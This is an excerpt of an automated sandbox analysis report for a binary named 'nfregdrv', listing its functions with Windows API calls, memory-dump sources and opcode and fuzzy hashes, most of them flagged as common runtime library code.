                                                                                                                  • API ID: CriticalSection$Leave$Enter$_malloc
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2624469294-0
                                                                                                                  • Opcode ID: 8d90196d2bee32e8d3484feec3460c9a7be0d346ac3607533073b5423734d643
                                                                                                                  • Instruction ID: 49e631b63e63f54fa41d8579300819fad08862a6ee69802ca296dd5302bd9675
                                                                                                                  • Opcode Fuzzy Hash: 8d90196d2bee32e8d3484feec3460c9a7be0d346ac3607533073b5423734d643
                                                                                                                  • Instruction Fuzzy Hash: 0121A176A04315CBD310DB28EC02A5973D5EB84761B0A436AE8588F2D1DB72D8508BD1
                                                                                                                  Function 004022B3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • TlsGetValue.KERNEL32(00000000,00402328,00000000,00403482,00000000,00000000,00000314,?,?,?,0040B040,00401917,0040B040,Microsoft Visual C++ Runtime Library,00012010), ref: 004022C0
                                                                                                                  • TlsGetValue.KERNEL32(00000006,?,?,?,0040B040,00401917,0040B040,Microsoft Visual C++ Runtime Library,00012010), ref: 004022D7
                                                                                                                  • GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,0040B040,00401917,0040B040,Microsoft Visual C++ Runtime Library,00012010), ref: 004022EC
                                                                                                                  • GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00402307
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2511824624.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2511801689.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511850172.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511883395.000000000040A000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511911463.000000000040C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_400000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Value$AddressHandleModuleProc
                                                                                                                  • String ID: EncodePointer$KERNEL32.DLL
                                                                                                                  • API String ID: 1929421221-3682587211
                                                                                                                  • Opcode ID: 1a385f102c7f14214112f7259b1974e6b0907a5b8e91fbf1077ec2ee8662ada9
                                                                                                                  • Instruction ID: 50336ba6c918c6c116f5e3fcbab542df5951bbe2d872b07961eb55563d71e960
                                                                                                                  • Opcode Fuzzy Hash: 1a385f102c7f14214112f7259b1974e6b0907a5b8e91fbf1077ec2ee8662ada9
                                                                                                                  • Instruction Fuzzy Hash: BFF06D301056129BDA529B74EF08A6B7BA5AF40394B15047AB854F62F4CF78CC11DA6D
                                                                                                                  Function 0040232A Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • TlsGetValue.KERNEL32(00000000,004023BF,?,004024E4,?,?,0040199A), ref: 00402337
                                                                                                                  • TlsGetValue.KERNEL32(00000006,?,004024E4,?,?,0040199A), ref: 0040234E
                                                                                                                  • GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,004024E4,?,?,0040199A), ref: 00402363
                                                                                                                  • GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 0040237E
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2511824624.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2511801689.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511850172.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511883395.000000000040A000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511911463.000000000040C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_400000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Value$AddressHandleModuleProc
                                                                                                                  • String ID: DecodePointer$KERNEL32.DLL
                                                                                                                  • API String ID: 1929421221-629428536
                                                                                                                  • Opcode ID: b796f7a9d0800bb9e160982425eb8aa8e27173a6ee7dc456a018aa060cd778d7
                                                                                                                  • Instruction ID: b3a0eb18012e6aadf2811430fba97e87ad444e4cba862865431688a9bf4f90a9
                                                                                                                  • Opcode Fuzzy Hash: b796f7a9d0800bb9e160982425eb8aa8e27173a6ee7dc456a018aa060cd778d7
                                                                                                                  • Instruction Fuzzy Hash: A1F01230501623ABD712A734DF08A5B3AA59F41390715413ABC58F62F4DB7CCD12865D
                                                                                                                  Function 1000A8A7 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • TlsGetValue.KERNEL32(00000000,1000A91C,00000000,1000EA20,00000000,00000000,00000314,?,?,?,1001F3B0,1000A694,1001F3B0,Microsoft Visual C++ Runtime Library,00012010), ref: 1000A8B4
                                                                                                                  • TlsGetValue.KERNEL32(00000002,?,?,?,1001F3B0,1000A694,1001F3B0,Microsoft Visual C++ Runtime Library,00012010), ref: 1000A8CB
                                                                                                                  • GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,1001F3B0,1000A694,1001F3B0,Microsoft Visual C++ Runtime Library,00012010), ref: 1000A8E0
                                                                                                                  • GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 1000A8FB
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Value$AddressHandleModuleProc
                                                                                                                  • String ID: EncodePointer$KERNEL32.DLL
                                                                                                                  • API String ID: 1929421221-3682587211
                                                                                                                  • Opcode ID: 698cc03a02ed437f9e78c1477e8a38eecfbfb8aad5433eb0b7b92186c3789519
                                                                                                                  • Instruction ID: caffd8b91c38bffb5cca897b74d77eec42bfe04cae3721fbb3b20170df584618
                                                                                                                  • Opcode Fuzzy Hash: 698cc03a02ed437f9e78c1477e8a38eecfbfb8aad5433eb0b7b92186c3789519
                                                                                                                  • Instruction Fuzzy Hash: D9F01D30A05626AFFA51DB24CC8895A3BD8DF467D07028624F854E71B8DF30CED29B51
                                                                                                                  Function 1000A91E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • TlsGetValue.KERNEL32(?,1000ACF2,00000000,00000000,10008BC3,00000000,?,?,00000001,?,?,10008C27,00000001,?,?,1001B608), ref: 1000A92B
                                                                                                                  • TlsGetValue.KERNEL32(00000002,?,1000ACF2,00000000,00000000,10008BC3,00000000,?,?,00000001,?,?,10008C27,00000001), ref: 1000A942
                                                                                                                  • GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,1000ACF2,00000000,00000000,10008BC3,00000000,?,?,00000001,?,?,10008C27,00000001), ref: 1000A957
                                                                                                                  • GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 1000A972
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Value$AddressHandleModuleProc
                                                                                                                  • String ID: DecodePointer$KERNEL32.DLL
                                                                                                                  • API String ID: 1929421221-629428536
                                                                                                                  • Opcode ID: 849bf8aa20e695c811e63e4f389fbd3f38ad5f5727a41dc013945db67583cb91
                                                                                                                  • Instruction ID: bd257daf5de9dee36b7a7df8f8d7f9ef99228c3852669747f2885a7cf79806d7
                                                                                                                  • Opcode Fuzzy Hash: 849bf8aa20e695c811e63e4f389fbd3f38ad5f5727a41dc013945db67583cb91
                                                                                                                  • Instruction Fuzzy Hash: 9FF0F930A056229EEA52DB248C8899A7BD8EF463D07028224F968D7168DB30CDD18A51
                                                                                                                  Function 10001818 Relevance: 10.2, APIs: 8, Instructions: 231COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 100018A4
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 100018E0
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 10001916
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 100019BE
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10001A02
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 10001A3C
                                                                                                                  • EnterCriticalSection.KERNEL32(?), ref: 10001AA3
                                                                                                                  • EnterCriticalSection.KERNEL32(?), ref: 10001AF7
                                                                                                                  • EnterCriticalSection.KERNEL32(?), ref: 10001B76
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10002045
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$EnterLeave
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3168844106-0
                                                                                                                  • Opcode ID: 1148cbf5bdb9481604341125c06b22783845d375c7f4a15b8700bf0034355e6e
                                                                                                                  • Instruction ID: 1c7db7b73577996e6f6b7cc1b13f752c77784736a4bb66c20c39e3569af504b5
                                                                                                                  • Opcode Fuzzy Hash: 1148cbf5bdb9481604341125c06b22783845d375c7f4a15b8700bf0034355e6e
                                                                                                                  • Instruction Fuzzy Hash: 3891D370A04384CFE710CF68C880B9AB7E6FF89384F45855DF8858B256D775E985CB62
                                                                                                                  Function 10017880 Relevance: 9.1, APIs: 6, Instructions: 119COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,10018530,000000FF), ref: 100178C1
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C,?,?,?,?,?,?,?,?,?,?,?,?,10018530,000000FF), ref: 100178DD
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10017906
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2978645861-0
                                                                                                                  • Opcode ID: 4fadeff10b6c9a286b6e83259b0211dd6e584e032f721b146db71c1fbee9745d
                                                                                                                  • Instruction ID: 744bdcced945026e525a1d70fd2b130064bd5c13945d0ecf707bb38ae523f875
                                                                                                                  • Opcode Fuzzy Hash: 4fadeff10b6c9a286b6e83259b0211dd6e584e032f721b146db71c1fbee9745d
                                                                                                                  • Instruction Fuzzy Hash: 9141BF766083488FD700CF68EC8175AB7E9FB48764F10862AFD598B391DB35EA448A91
                                                                                                                  Function 10013EE0 Relevance: 9.1, APIs: 6, Instructions: 93COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(10020168,?,?,?,?,10016A9A,?,?,?,7734FFB0,00000000), ref: 10013EE9
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020168), ref: 10013F17
                                                                                                                  • _malloc.LIBCMT ref: 10013F22
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020168), ref: 10013F69
                                                                                                                  • _memset.LIBCMT ref: 10013F7C
                                                                                                                  • GetTickCount.KERNEL32 ref: 10013FA6
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$CountEnterTick_malloc_memset
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3854238366-0
                                                                                                                  • Opcode ID: ac07afc8388a069d4f83166ba5a0569cc62fde9cdb2ff454ac3c5f1d52a80147
                                                                                                                  • Instruction ID: 4ca0d7073e46e878efecada07f93c2f81ca96af553993ca0a0a66e884ec48b02
                                                                                                                  • Opcode Fuzzy Hash: ac07afc8388a069d4f83166ba5a0569cc62fde9cdb2ff454ac3c5f1d52a80147
                                                                                                                  • Instruction Fuzzy Hash: E23137B59003058FD745CF28DC80A867BF9FF49340B5182BAEC099F266EB31E955CB91
                                                                                                                  Function 10015EE0 Relevance: 9.1, APIs: 6, Instructions: 82COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 10015EEF
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10015F03
                                                                                                                  • __aullrem.LIBCMT ref: 10015F28
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C,?,?,00000000,00000000), ref: 10015F4E
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter__aullrem
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1392406986-0
                                                                                                                  • Opcode ID: 7ccb25e048fed005f5e0ad39f41a19acd61739f9bb35c0086ce996b125a16670
                                                                                                                  • Instruction ID: 962ddd3524da1f0e37931dc98e1f0c185814ed2e642f679040aa4322ebcbbac0
                                                                                                                  • Opcode Fuzzy Hash: 7ccb25e048fed005f5e0ad39f41a19acd61739f9bb35c0086ce996b125a16670
                                                                                                                  • Instruction Fuzzy Hash: 03213835300214DFC300CB69EC889A9B7DADB84572B5942B9FE18CF292E732DD4087A0
                                                                                                                  Function 100148A0 Relevance: 9.1, APIs: 6, Instructions: 71COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C,?,?,00000001,?,10016ABE,?,?,-00000067,?,?,?,7734FFB0,00000000), ref: 100148A9
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C,?,10016ABE,?,?,-00000067,?,?,?,7734FFB0,00000000), ref: 100148BD
                                                                                                                  • _memset.LIBCMT ref: 100148E2
                                                                                                                  • DeviceIoControl.KERNEL32(FFFFFFFF,00220194,00000000,0000002C,00000000,0000002C,?,00000000), ref: 10014917
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10014942
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$ControlDeviceEnter_memset
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 589867189-0
                                                                                                                  • Opcode ID: 8ebd72944f7a2a950c9ee27789203da092cdf93c9c74612e77d64f55a2891e3a
                                                                                                                  • Instruction ID: c706671d47631c6094ceacd85374c5c19a88f26d1054e66b0f3edaf9514eb2f3
                                                                                                                  • Opcode Fuzzy Hash: 8ebd72944f7a2a950c9ee27789203da092cdf93c9c74612e77d64f55a2891e3a
                                                                                                                  • Instruction Fuzzy Hash: 971184752043119FE700DF64ECC5F5B77A9EF88765F218629F2199E1D2CB30D9498A60
                                                                                                                  Function 10015610 Relevance: 9.0, APIs: 6, Instructions: 42synchronizationCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • SetEvent.KERNEL32(FFFFFFFF,?,?,?,100156AB), ref: 1001561F
                                                                                                                  • WaitForSingleObject.KERNEL32(FFFFFFFF,000000FF,?,?,?,100156AB), ref: 1001563F
                                                                                                                  • CloseHandle.KERNEL32(FFFFFFFF,?,?,?,100156AB), ref: 1001564C
                                                                                                                  • SetEvent.KERNEL32(?,?,?,?,100156AB), ref: 1001566D
                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,100156AB), ref: 1001567C
                                                                                                                  • CloseHandle.KERNEL32(?,?,?,?,100156AB), ref: 10015684
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CloseEventHandleObjectSingleWait
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2055531096-0
                                                                                                                  • Opcode ID: 2b52fc261705a2240190288487bb20031f43a560c2463843fdaa4baee3aae0d6
                                                                                                                  • Instruction ID: f07f506387550c76cd1d2b3446689fb9bb28019f0ffc834db263f1ad7541274e
                                                                                                                  • Opcode Fuzzy Hash: 2b52fc261705a2240190288487bb20031f43a560c2463843fdaa4baee3aae0d6
                                                                                                                  • Instruction Fuzzy Hash: F7014B719003A19BE710DB69CCC4A1973A9A749374BB0C708F1348B6F1CB34E8828F24
                                                                                                                  Function 10016427 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 211COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • QueryDosDeviceW.KERNEL32 ref: 1001646C
                                                                                                                  • GetDriveTypeW.KERNEL32(?,?,?,?,?,?), ref: 100165A1
                                                                                                                  • EnterCriticalSection.KERNEL32(10020484), ref: 10016726
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020484), ref: 10016742
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$DeviceDriveEnterLeaveQueryType
                                                                                                                  • String ID: :
                                                                                                                  • API String ID: 2472114325-336475711
                                                                                                                  • Opcode ID: 5d0bb1d3aef29e5e2cf54168e896612a3619c67b40a50f6bad3d4d47fe3ea62b
                                                                                                                  • Instruction ID: 266c0d949fe9e03b7784f1c108ca597e8a181d292a197a77467f75c32d12edc8
                                                                                                                  • Opcode Fuzzy Hash: 5d0bb1d3aef29e5e2cf54168e896612a3619c67b40a50f6bad3d4d47fe3ea62b
                                                                                                                  • Instruction Fuzzy Hash: 829149B54083818BE720CB64CC95B9BB7E5FF88344F44891EE6C98B255DB71E688CB53
                                                                                                                  Function 1000F24D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                    • Part of subcall function 1000AB6E: __amsg_exit.LIBCMT ref: 1000AB7C
                                                                                                                  • __amsg_exit.LIBCMT ref: 1000F279
                                                                                                                  • __lock.LIBCMT ref: 1000F289
                                                                                                                  • InterlockedDecrement.KERNEL32(?), ref: 1000F2A6
                                                                                                                  • InterlockedIncrement.KERNEL32(009416D0), ref: 1000F2D1
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Interlocked__amsg_exit$DecrementIncrement__lock
                                                                                                                  • String ID: "v`"v
                                                                                                                  • API String ID: 4129207761-2422224426
                                                                                                                  • Opcode ID: 688ec18e88f5c39b8294586d72f857720aa36dea6ca6f4b7078c97f8e49bdce4
                                                                                                                  • Instruction ID: fffc615c0fb4f66862dac9a19bb85b947d9e820b5dc1b207d8f39025125812c1
                                                                                                                  • Opcode Fuzzy Hash: 688ec18e88f5c39b8294586d72f857720aa36dea6ca6f4b7078c97f8e49bdce4
                                                                                                                  • Instruction Fuzzy Hash: AE01923AD01762ABFB11DB64884576DB3A0FF057E0F118109F80067A89CB38BD81EBD5
                                                                                                                  Function 10010975 Relevance: 7.7, APIs: 5, Instructions: 188COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: __flsbuf$__flswbuf_wctomb_s
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3257920507-0
                                                                                                                  • Opcode ID: a75cccfa23d7aea3e5714c7e6dfbd81455f4b56c440ddb5dee57a86975d0e6af
                                                                                                                  • Instruction ID: aaf0d67127a989ff9fc8068fecdd25abf0f0f1beb550e9f4a5d15db8321f0729
                                                                                                                  • Opcode Fuzzy Hash: a75cccfa23d7aea3e5714c7e6dfbd81455f4b56c440ddb5dee57a86975d0e6af
                                                                                                                  • Instruction Fuzzy Hash: B351F43A3046559BD724CF2898829AE77A4EF063B4B60060AF4E59F2D2DBB4E9C1C751
                                                                                                                  Function 100172B0 Relevance: 7.7, APIs: 5, Instructions: 164COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32 ref: 10017308
                                                                                                                  • DeviceIoControl.KERNEL32(FFFFFFFF,00220198,?,00000004,?,?,1002030C,00000000), ref: 10017352
                                                                                                                    • Part of subcall function 10015070: EnterCriticalSection.KERNEL32 ref: 100150AF
                                                                                                                    • Part of subcall function 10015070: LeaveCriticalSection.KERNEL32(10020484,00000000,000000FF,00000000,000000FF,?,00000000), ref: 1001517C
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C,?), ref: 100174C8
                                                                                                                  • SetLastError.KERNEL32(00000008), ref: 100174EB
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 100174F6
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
